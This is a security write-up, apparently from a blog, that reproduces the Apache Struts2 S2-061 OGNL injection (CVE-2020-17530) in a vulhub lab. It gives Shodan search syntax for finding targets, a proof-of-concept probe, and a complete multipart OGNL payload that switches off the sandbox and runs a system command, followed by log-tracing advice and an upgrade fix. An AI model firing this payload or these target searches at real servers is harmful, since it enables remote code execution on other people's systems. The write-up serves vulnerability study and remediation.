Apache Struts2 Vulnerability Overview
The Apache Struts2 framework is a web framework used for developing Java EE web applications. On December 8, 2020, Apache Struts disclosed the S2-061 Struts Remote Code Execution Vulnerability (CVE-2020-17530). This vulnerability may allow OGNL expression injection when using certain tags, leading to remote code execution. S2-061 is a bypass of the S2-059 sandbox.
Struts2 performs secondary expression parsing on the attribute values of certain tag attributes (such as id
). Therefore, when %{x}
is used in these tag attributes and the value of x
is user-controllable, the user can pass in a %{payload}
to execute OGNL expressions.
Shodan Search Syntax for Apache Struts2
"JSESSIONID=" "Jetty"

Since Struts2 is just a development framework, a noticeable feature is that the URL contains .action. However, it is not easy to filter in Shodan, so this rule may not be accurate. If anyone has more accurate filtering rules, please leave a comment below.
Affected Versions of Apache Struts2
Apache Struts 2.0.0-2.5.25
Exploit
https://github.com/yaunsky/s2-061-rce
Environment Setup
Use vulhub to set up the environment.

Vulnerability Reproduction
Use the proof of concept (PoC) for verification.
?id=%25%7b+%27test%27+%2b+(233+%2b+233).toString()%7d


Use the exploit provided by vulhub for testing.
------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

Command executed successfully.

Use the provided exploit for detection.

Traceback Investigation
Struts itself does not have web log records, and there are no records in docker logs, only 400 error records.

In a real environment, if Nginx reverse proxy is used, you can check access.log.
Here is an article on Struts2 traceback investigation. https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=159661
Fix
Upgrade to Struts 2.5.26 or higher.